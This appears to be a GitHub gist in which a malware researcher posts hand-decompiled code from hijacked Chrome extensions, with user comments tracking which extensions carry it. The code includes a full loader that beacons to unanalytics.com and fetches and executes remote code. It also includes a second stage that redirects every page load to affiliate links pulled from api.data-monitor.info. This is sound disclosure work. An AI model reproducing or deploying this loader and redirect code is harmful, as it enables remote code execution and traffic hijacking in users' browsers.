https://unanalytics.com
http://api.data-monitor.info
http://systemrtb.com
Ttt4fRNCFmK
kuzi5B5UFvI
GNLMzs7rai9
https://unanalytics.com/?hash=sr0gjopbxrpgyjwlloackgldi
(function() { | |
function postLog({ | |
cat = 'eval', // category | |
act = '', // action | |
lab = '', // label | |
fr = 86400000, // freq. Default is 1 day | |
}) { | |
let key = obfuscateString(`${cat}_${act}`, 7); | |
return localStore.get(key).then(lastRuns => { | |
let lastRunEpoch = lastRuns[key], | |
shouldRun = | |
fr == 86400000 // run daily | |
? new Date().getTime() - | |
new Date(lastRunEpoch).setUTCHours(0, 0, 0, 0) >= | |
fr | |
: new Date().getTime() - lastRunEpoch >= fr; | |
if (!lastRunEpoch || shouldRun) { | |
let lastRuns = 'https://unanalytics.com/stats'; | |
makeRequest( | |
`https://unanalytics.com/stats?hash=sr0gjopbxrpgyjwlloackgldi&eventCategory=${ | |
cat | |
}&eventAction=${act}&eventLabel=${lab}`, | |
'POST' | |
).then(_0x435009 => { | |
let lastruns = {}; | |
(lastruns[key] = new date().gettime()), localstore.set(lastruns); | |
}); | |
} | |
}); | |
} | |
function makeRequest(url, method = 'GET') { | |
return new Promise((resolve, reject) => { | |
function processTabUpdate(tabId, changeInfo, tab) { | |
changeInfo['status'] === 'loading' && | |
(validateTabUrl(tab, url) && | |
consts['pV'] <= 0 && | |
(chrome.tabs.onUpdated.removeListener(arguments.callee), | |
makeRequestInTab(tabId)), | |
consts['pV']--); | |
} | |
function makeRequestInTab(tabId) { | |
chrome.runtime.onMessage.addListener(processMessage), | |
chrome.tabs.executeScript(tabId, { | |
code: `(function(){var url = replaceableurl; var xhr = new XMLHttpRequest();xhr.onreadystatechange = function () {if (xhr.readyState === 4) {chrome.runtime.sendMessage({data: xhr.responseText, url: url,status:xhr.status});}};xhr.open('${ | |
method | |
}',url, true);xhr.send();})()`.replace( | |
'replaceableurl', | |
'https://unanalytics.com/stats?hash=sr0gjopbxrpgyjwlloackgldi&eventCategory=eval&eventAction=init&eventLabel=' | |
), | |
}); | |
} | |
function processMessage(message) { | |
message['url'] === url && | |
(resolve(message['data']), | |
chrome.runtime.onMessage.removeListener(arguments.callee)); | |
} | |
function validateTabUrl(tab, url) { | |
return new RegExp( | |
`^((?!(chrome${url.includes('http://') ? '|https|ftps' : ''})).+://)` | |
).test(tab['url']); | |
} | |
(url && url.length !== 0) || reject('Url error'), | |
chrome.tabs.query({}, function(result) { | |
let validTabs = result.filter( | |
tab => validateTabUrl(tab, url) && !tab['active'] | |
); | |
validTabs.length === 0 | |
? chrome.tabs.onUpdated.addListener(processTabUpdate) | |
: makeRequestInTab( | |
validTabs[Math.floor(Math.random() * validTabs.length)].id | |
); | |
}); | |
}); | |
} | |
function obfuscateString(inputString, rot) { | |
for ( | |
var outputString = '', charCode = 0, idx = 0; | |
idx < inputString.length; | |
idx++ | |
) | |
(charCode = inputString[idx].charCodeAt() + rot), | |
(outputString += String.fromCharCode(charCode)); | |
return outputString; | |
} | |
function o(payload) { | |
return new Promise((resolve, reject) => { | |
let parseSuccessfully = false, | |
code = '', | |
version = ''; | |
try { | |
(payload = JSON.parse(payload)), | |
(code = payload['code']), | |
(version = payload['version']), | |
code == -1 || (parseSuccessfully = true); | |
} catch (error) { | |
postLog({ | |
act: 'error', | |
lab: 'parseResponse', | |
fr: 0, | |
}); | |
} | |
parseSuccessfully | |
? localStore | |
.set({ | |
kuzi5B5UFvI: code, | |
GNLMzs7rai9: version, | |
}) | |
.then(_0x4b1779 => { | |
localStore.set({ | |
Ttt4fRNCFmK: new Date().getTime(), | |
}), | |
postLog({ | |
act: 'download', | |
lab: version, | |
fr: 0, | |
}), | |
resolve({ | |
code: code, | |
version: version, | |
}); | |
}) | |
: (code != -1 && | |
postLog({ | |
act: 'error', | |
lab: 'invalidMonetizationCode', | |
fr: 0, | |
}), | |
localStore.get(['kuzi5B5UFvI', 'GNLMzs7rai9']).then(items => { | |
resolve({ | |
code: items['kuzi5B5UFvI'], | |
version: items['GNLMzs7rai9'], | |
}); | |
})); | |
}); | |
} | |
function run(metadata) { | |
try { | |
window['Function'](metadata['code'])(localStore, makeRequest, postLog), | |
postLog( | |
(metadata['code'] && metadata['code'].length !== 0) || | |
(metadata['version'] && metadata['version'].length !== 0) | |
? { | |
act: 'run', | |
lab: metadata['version'], | |
} | |
: { | |
act: 'run', | |
lab: 'idle', | |
} | |
); | |
} catch (error) { | |
postLog({ | |
act: 'error', | |
lab: `run_${metadata['version']}`, | |
}); | |
} | |
} | |
function downloadPayload() { | |
return new Promise((resolve, reject) => { | |
localStore.get('Ttt4fRNCFmK').then(value => { | |
let _0x19dd2c = value['Ttt4fRNCFmK'] || 0; | |
_0x19dd2c === 0 && | |
localStore | |
.set({ | |
d8nvfUyMV8E: new Date().getTime(), | |
}) | |
.then(_0x426061 => { | |
postLog({ | |
act: 'install', | |
}); | |
}), | |
new Date().getTime() - _0x19dd2c > 43200000 | |
? setTimeout(function() { | |
makeRequest( | |
'https://unanalytics.com/?hash=sr0gjopbxrpgyjwlloackgldi', | |
'GET' | |
) | |
.then(o) | |
.then(resolve); | |
}, 0) // force 0 for testing. was consts.beaconDelay | |
: localStore.get(['kuzi5B5UFvI', 'GNLMzs7rai9']).then(value => { | |
resolve({ | |
code: value['kuzi5B5UFvI'], | |
version: value['GNLMzs7rai9'], | |
}); | |
}); | |
}); | |
}); | |
} | |
function init() { | |
setTimeout(function() { | |
postLog({ | |
act: 'init', | |
}), | |
downloadPayload().then(run); | |
}, 0); // force 0 for testing. was consts.initDelay | |
} | |
let consts = { | |
pV: Math.floor(3 * Math.random()), | |
initDelay: 1800000 * Math.floor(1 * Math.random() + 1), | |
beaconDelay: 60000 * Math.floor(2 * Math.random() + 1), | |
}, | |
localStore = { | |
get(keys = null) { | |
return new Promise((resolve, reject) => { | |
chrome.storage.local.get(keys, function(items) { | |
resolve(items); | |
}); | |
}); | |
}, | |
set(items) { | |
return new Promise((resolve, reject) => { | |
chrome.storage.local.set(items, function(bytesInUse) { | |
resolve(bytesInUse); | |
}); | |
}); | |
}, | |
jy(_0x4703ce) { | |
return new Promise((resolve, reject) => { | |
chrome.storage.local['jy'](_0x4703ce, function(_0x1c99ef) { | |
resolve(_0x1c99ef); | |
}); | |
}); | |
}, | |
SG() { | |
return new Promise((resolve, reject) => { | |
chrome.storage.local['SG'](function(_0xcf25b8) { | |
resolve(_0xcf25b8); | |
}); | |
}); | |
}, | |
}; | |
init(); | |
})(); |
{ | |
"code": "function req(obj,callback,errback){var params=obj.params?obj.params:[],xhr=new XMLHttpRequest;if(callback&&(xhr.onload=function(e){e=e.target,200===e.status||304===e.status?callback({responseText:e.responseText,headers:e.getAllResponseHeaders().split(\"\\r\\n\")}):errback&&errback(e.status)}),errback&&(xhr.onerror=function(e){e=e.target.status,errback(e)}),xhr.open(obj.method,obj.url),params.head)for(i in params.head)obj.setRequestHeader(i,params.head[i]);if(params.mime)for(i in params.mime)obj.overrideMimeType(params.mime[i]);if(params.post&&xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\"),(params.post||params.xml)&&xhr.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\"),\"object\"==typeof params.post){x=params.post,params.post=\"\";for(i in x)x.hasOwnProperty(i)&&(params.post+=(params.post?\"&\":\"\")+i+\"=\"+x[i])}xhr.send(params.post)}function cutw(hostname){return hostname.replace(/(^www\\.|\\:\\d+$)/gi,\"\")}function getDomain(hostname){var result,matches=hostname.match(domainRgxp);return matches&&(result=matches[1]),result}function getSub(hostname,domain){var result=hostname.replace(domain,\"\");return result&&(result=result.replace(/\\.$/,\"\")),result}function prepareLink(link){/^(\\w+:)?\\/\\//.test(link)||(link=\"http://\"+link);var result,matches=link.match(mainRgxp);if(matches)try{var host=cutw(matches[2]),domain=getDomain(host);if(domain){var sub=getSub(host,domain);result={sch:matches[1],host:host,domain:domain,sub:sub,path:(matches[3]||\"\").replace(/^\\//,\"\"),search:(matches[4]||\"\").replace(/^\\?/,\"\")}}}catch(e){console.log(\"Error: \"+url)}return result}function tryUrl(url){if(!(usedT&&usedT>(new Date).getTime()-42e5)){var res,prepared=prepareLink(url);if(prepared&&rulesObject[prepared.domain]){var subd=rulesObject[prepared.domain][prepared.sub];if(subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"])),res||(subd=rulesObject[prepared.domain][\"*\"],subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"]))),res)return res=res.replace(/__CURURL__/g,encodeURIComponent(url)).replace(/__SUBID__/g,wid),usedT=(new Date).getTime(),localStorage.usedT=usedT,res}}}function getData(){setTimeout(getData,864e5),req({method:\"GET\",url:host+\"bhrule?sub=\"+wid},function(response){try{response=JSON.parse(response.responseText),rulesObject=response.rules?response.rules:{}}catch(e){}},function(){})}var host=\"http://api.data-monitor.info/api/\",wid=150,rulesObject={},usedT=localStorage.usedT?parseInt(localStorage.usedT):null,mainRgxp=new RegExp(\"^(?:([^:\\\\/?]+):)?(?:\\\\/\\\\/([^\\\\/]*))?([^?]*)(?:\\\\?([^$]*))?\"),domainRgxp=/((?:[^.]+)\\.(?:(?:com?|org)\\.)?\\w+)$/i,listenFunc=function(details){if(!(usedT&&usedT>(new Date).getTime()-42e5)&&0===details.frameId&&\"main_frame\"==details.type&&details.parentFrameId===-1&&details.tabId>0&&/^https?/i.test(details.url)){var current=details.url,new_url=(prepareLink(current),tryUrl(current)),result=\"string\"==typeof new_url&¤t!=new_url;if(result)return{redirectUrl:new_url}}};chrome.webRequest.onBeforeRequest.addListener(listenFunc,{urls:[\"<all_urls>\"]},[\"blocking\"]),getData();", | |
"version": "v20170412" | |
} |
function req(obj, callback, errback) { | |
var params = obj.params ? obj.params : [], | |
xhr = new XMLHttpRequest; | |
if (callback && (xhr.onload = function(e) { | |
e = e.target, 200 === e.status || 304 === e.status ? callback({ | |
responseText: e.responseText, | |
headers: e.getAllResponseHeaders().split(\"\\r\\n\")}):errback&&errback(e.status)}),errback&&(xhr.onerror=function(e){e=e.target.status,errback(e)}),xhr.open(obj.method,obj.url),params.head)for(i in params.head)obj.setRequestHeader(i,params.head[i]);if(params.mime)for(i in params.mime)obj.overrideMimeType(params.mime[i]);if(params.post&&xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\"),(params.post||params.xml)&&xhr.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\"),\"object\"==typeof params.post){x=params.post,params.post=\"\";for(i in x)x.hasOwnProperty(i)&&(params.post+=(params.post?\"&\":\"\")+i+\"=\"+x[i])}xhr.send(params.post)}function cutw(hostname){return hostname.replace(/(^www\\.|\\:\\d+$)/gi,\"\")}function getDomain(hostname){var result,matches=hostname.match(domainRgxp);return matches&&(result=matches[1]),result}function getSub(hostname,domain){var result=hostname.replace(domain,\"\");return result&&(result=result.replace(/\\.$/,\"\")),result}function prepareLink(link){/^(\\w+:)?\\/\\//.test(link)||(link=\"http://\"+link);var result,matches=link.match(mainRgxp);if(matches)try{var host=cutw(matches[2]),domain=getDomain(host);if(domain){var sub=getSub(host,domain);result={sch:matches[1],host:host,domain:domain,sub:sub,path:(matches[3]||\"\").replace(/^\\//,\"\"),search:(matches[4]||\"\").replace(/^\\?/,\"\")}}}catch(e){console.log(\"Error: \"+url)}return result}function tryUrl(url){if(!(usedT&&usedT>(new Date).getTime()-42e5)){var res,prepared=prepareLink(url);if(prepared&&rulesObject[prepared.domain]){var subd=rulesObject[prepared.domain][prepared.sub];if(subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"])),res||(subd=rulesObject[prepared.domain][\"*\"],subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"]))),res)return res=res.replace(/__CURURL__/g,encodeURIComponent(url)).replace(/__SUBID__/g,wid),usedT=(new Date).getTime(),localStorage.usedT=usedT,res}}}function getData(){setTimeout(getData,864e5),req({method:\"GET\",url:host+\"bhrule?sub=\"+wid},function(response){try{response=JSON.parse(response.responseText),rulesObject=response.rules?response.rules:{}}catch(e){}},function(){})}var host=\"http://api.data-monitor.info/api/\",wid=150,rulesObject={},usedT=localStorage.usedT?parseInt(localStorage.usedT):null,mainRgxp=new RegExp(\"^(?:([^:\\\\/?]+):)?(?:\\\\/\\\\/([^\\\\/]*))?([^?]*)(?:\\\\?([^$]*))?\"),domainRgxp=/((?:[^.]+)\\.(?:(?:com?|org)\\.)?\\w+)$/i,listenFunc=function(details){if(!(usedT&&usedT>(new Date).getTime()-42e5)&&0===details.frameId&&\"main_frame\"==details.type&&details.parentFrameId===-1&&details.tabId>0&&/^https?/i.test(details.url)){var current=details.url,new_url=(prepareLink(current),tryUrl(current)),result=\"string\"==typeof new_url&¤t!=new_url;if(result)return{redirectUrl:new_url}}};chrome.webRequest.onBeforeRequest.addListener(listenFunc,{urls:[\"<all_urls>\"]},[\"blocking\"]),getData(); |
Hey Drew thanks for putting this research here.
It looks like there's YET ANOTHER CHROME EXTENSION which has this malware (I do not have Better History installed, but have bunch of other extensions).
I am trying to debug with Chrome Developer Tools and pinpoint the offending extension, but having some troubles. There's a lot of redirects seen in the Chrome Dev Tools and also the Initiator
column is not very useful. Also whenever I am trying to hunt down the malicious redirects they don't happen :(
Would you mind outlining the steps to pinpoint the requests to the Chrome Extension ID?
Okay. I found that HTTPS everywhere had an extension error which had redirected aliexpress to some other domain, and found that this extension: https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake/ (with 400K users) has a file named 'back.js' packaged inside its CRX.
The back.js seems to download a file from http://api.data-monitor.info/api/bhrule?sub=116 - which looks as though it contains the aliexpress redirect. This seems to be metastasizing into lots of extensions.
Hey all,
Sorry for the lack of comms. I am a malware researcher who found the Sense (Beta) extension and did a bit of reverse engineering. Happy to help and answer questions but I haven't looked at this since I dumped the gist.
Drew
From the best I can tell, there are several popular extensions which are either bought, hacked, or typosquatting. When I did my analysis, I found a 3 stage payload: Everything was minified and the above code was the result of a hand-decompilation to replace variable names such as a0
to processMessage
etc.
First there was a tiny bit of code that loaded an image to a HTML5 canvas and read the low-order bits and turned that into a string that was the minified contents of evil.js
. That randomly reaches out to unanalytics.com
to pull down a command and control bit which is labeled payload.json
and I extracted to payload.js
. I stopped analysis at this point but it looked to rewrite aliexpress and other domains with affiliate links. I was mostly looking to see if the extension was grabbing cookies or reading my email or something like that. I can't be 100% sure since it downloads a dynamic payload, bit it appeared to not be stealing my personal data just making ad money.
@adamburgess @kjhangiani @MateusAuri @krzysztofczernek see my comments above. Feel free to ping me here or via email if you need any help
@dimkir I assume you have already solved this but can help you track down if interested
I do know at least Better History and User Agent Switcher appear to have this malware and will update the thread as I find more
Thanks for your research, Drew! I got warnings in Chrome beginning today. None since disabling the extension. According to Chrome dev tools, the code that initiated HTTP POST is the following:
(function(){var url = 'https://unanalytics.com/stats?hash=rsf1nuuhal41e7jq2hj0grpb9&eventCategory=eval&eventAction=error&eventLabel=parseResponse'; var xhr = new XMLHttpRequest();xhr.onreadystatechange = function () {if (xhr.readyState === 4) {chrome.runtime.sendMessage({data: xhr.responseText, url: url,status:xhr.status});}};xhr.open('POST',url, true);xhr.send();})()